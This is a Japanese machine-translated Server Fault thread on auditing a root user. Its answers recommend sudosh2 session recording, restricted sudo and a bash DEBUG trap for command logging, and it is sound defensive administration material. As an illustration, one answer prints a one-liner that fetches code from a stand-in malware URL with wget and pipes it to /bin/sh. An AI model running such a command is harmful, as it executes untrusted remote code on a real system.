ルートから実行されたすべてのコマンドを記録する


16

ルートサーバーへのアクセスを外部システム管理者に許可したいのですが、彼が自分のサーバーに対して何をしているか、例えば、やりたくないデータをコピーするなど、必ず確認してください。また、編集されていない読み取り専用であっても、アクセスされたファイルを追跡したいと思います。

どうやってやるの?


1
この関連する質問をご覧ください:serverfault.com/questions/181131/…
ステファンLasiewski

回答:


21

信頼しますが、確認してください!

sudosh2を確認してください。sudosh2は、FreeBSDポートによって提供されます。パッケージはRedHatおよびUbuntuで利用できます。ウェブサイトの説明は次のとおりです。

sudoshは監査シェルフィルターであり、ログインシェルとして使用できます。Sudoshはすべてのキーストロークと出力を記録し、VCRのようにセッションを再生できます。

Sudoshを使用すると、ユーザーのセッションを再生できます。これにより、ユーザーが見たすべての入力出力を確認できます。すべて、キーストローク、タイプミス、バックスペース、編集内容vi、の出力wget -O- http://zyxzyxzyxzyx.ru/haxor/malware | /bin/shなどが表示されます。

sudoshログをsyslogに送信して、システムから離れた中央のsyslogサーバーに保存できるようにすることができます。

sudosh2は、sudoshの代わりであり、sudoshは作成者によって放棄されたことに注意してください。

ユーザーがスーパーユーザーの特権を持つことを主張している学術機関で働いていますか?または、企業で働いており、ユーザーが自分のVMでスーパーユーザー特権を持つことを許可したいですか?これが解決策かもしれません。


1
すばらしい-以前にsudoshについて聞いたことがない。
EEAA

2
この「VCR」とは何ですか?
トムマーセナル

2
8トラックのようなものですが、自分のテレビ番組を録画することができます!
ステファンLasiewski

22

彼にルートアクセス権を与えないでください。代わりに、非特権ユーザーアカウントを彼に与え、彼がすべてのsudoコマンドをログに記録することにより、彼がすべての作業を行うように要求します。

この人が悪意を持っていて、あなたが彼に完全なsudo特権を与えた場合、彼それらのコマンドが記録されずにそれらの悪意を実行する方法を見つけることに注意してください。この場合、仕事をするために必要な特定のコマンドへのアクセスのみを許可します。


私は自分の人生を苦しめることなく、できる限りハードにしたいです。答えてくれてありがとう。
セディバード

実行するだけでsudo su -、ログに記録されないルートシェルを作成できます(起動した場合を除く)。これは、ルートとして複数のコマンドを一度に実行したい場合や、通常のユーザーが読めないディレクトリでタブ補完をしたい場合に通常入力するものです。
rjmunro

@rjmunro-それがまさに、彼が必要とする特定のアクセス権のみを与えるという警告を発行した理由です。sudo su -必要に応じて明示的に禁止できます。
EEAA

1

私はsudosh2に精通していません.bashrcが、bashシェルに入力したすべてのコマンドをファイルに記録するために、次のように入力します~/.command_log

# log every command typed and when
if [ -n "${BASH_VERSION}" ]; then
    trap "caller >/dev/null || \
printf '%s\\n' \"\$(date '+%Y-%m-%dT%H:%M:%S%z')\
 \$(tty) \${BASH_COMMAND}\" 2>/dev/null >>~/.command_log" DEBUG
fi

上記はDEBUG、通常のコマンドが実行される直前に実行されるにトラップを設定します。caller組み込みコマンドは対話型シェルで入力されたかのような何かを経由して実行されているかどうかをテストするために使用されます.bashrc。値に${BASH_COMMAND}は、現在実行されているコマンドが含まれます。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.